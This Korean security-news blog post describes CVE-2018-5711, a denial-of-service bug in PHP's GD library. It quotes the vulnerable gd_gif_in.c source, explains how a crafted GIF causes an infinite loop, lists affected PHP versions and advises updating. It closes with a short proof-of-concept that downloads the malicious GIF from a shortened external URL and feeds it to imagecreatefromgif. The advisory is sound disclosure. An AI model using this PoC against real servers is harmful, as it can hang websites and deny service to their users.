포스팅 내용

국내외 보안동향

PHP GD 라이브러리 서비스 거부 취약점(CVE-2018-5711) 발견!

최근 PHP GD 라이브러리에서 서비스거부 취약점이 발견되었습니다. 해당 취약점으로 php의 서버 CPU 사용률을 순간적으로 100%로 만들어 버릴 수 있습니다. 


취약점 번호


CVE-2018-5711


취약점 원인


GD 라이브러리의 gf_gif-in.c에는 정수서명오류가 존재하여, 특별히 조작된 GIF 파일을 이용한다면  php 함수의 imagecreatefromgif 또는 imagecreatefromstring가 불러들여질 때 무한루프를 발생시킬 수 있습니다. 


취약점은 ext/gd/libgd/gd_gif_in.c 코드에 존재합니다. 


do {

                        sd->firstcode = sd->oldcode =

                        GetCode(fd, &sd->scd, sd->code_size, FALSE, ZeroDataBlockP);

                } while (sd->firstcode == sd->clear_code);


static int

GetCode_(gdIOCtx *fd, CODE_STATIC_DATA *scd, int code_size, int flag, int *ZeroDataBlockP)

{

        int           i, j, ret;

        unsigned char count;


        if (flag) {

                scd->curbit = 0;

                scd->lastbit = 0;

                scd->last_byte = 0;

                scd->done = FALSE;

                return 0;

        }


        if ( (scd->curbit + code_size) >= scd->lastbit) {

                if (scd->done) {

                        if (scd->curbit >= scd->lastbit) {

                                /* Oh well */

                        }

                        return -1;

                }

                scd->buf[0] = scd->buf[scd->last_byte-2];

                scd->buf[1] = scd->buf[scd->last_byte-1];


               if ((count = GetDataBlock(fd, &scd->buf[2], ZeroDataBlockP)) <= 0)

                        scd->done = TRUE;


                scd->last_byte = 2 + count;

                scd->curbit = (scd->curbit - scd->lastbit) + 16;

                scd->lastbit = (2+count)*8 ;

        }


        if ((scd->curbit + code_size - 1) >= (CSD_BUF_SIZE * 8)) {

                ret = -1;

        } else {

                ret = 0;

                for (i = scd->curbit, j = 0; j < code_size; ++i, ++j) {

                        ret |= ((scd->buf[i / 8] & (1 << (i % 8))) != 0) << j;

                }

        }


        scd->curbit += code_size;

        return ret;

}


GetCode는 GetDataBlock함수 콜을 통하여 GIF 이미지 중의 데이터를 읽어옵니다. 


static int

GetDataBlock_(gdIOCtx *fd, unsigned char *buf, int *ZeroDataBlockP)

{

        unsigned char   count;


        if (! ReadOK(fd,&count,1)) {

                return -1;

        }


        *ZeroDataBlockP = count == 0;


        if ((count != 0) && (! ReadOK(fd, buf, count))) {

                return -1;

        }


        return count;

}


GetDataBlock 이 -1을 반환할 때, 두번째 코드 중 count 값이  이 값을 할당할 수 없기 때문에 bug가 발생하는 것입니다. 



PoC 


$ curl -L https://git.io/vN0n4 | xxd -r > poc.gif

$ php -r 'imagecreatefromgif("poc.gif");'



영향받는 버전


PHP 5.6.33 이하 버전

PHP  7.0.27 이하 버전

PHP  7.1.13 이하 버전

PHP  7.2.1 이하 버전



패치 방법


최신 버전으로 업데이트





참고 :

http://blog.orange.tw/2018/01/php-cve-2018-5711-hanging-websites-by.html?spm=a2c4g.11186623.2.4.X6uzPC

티스토리 방명록 작성
name password homepage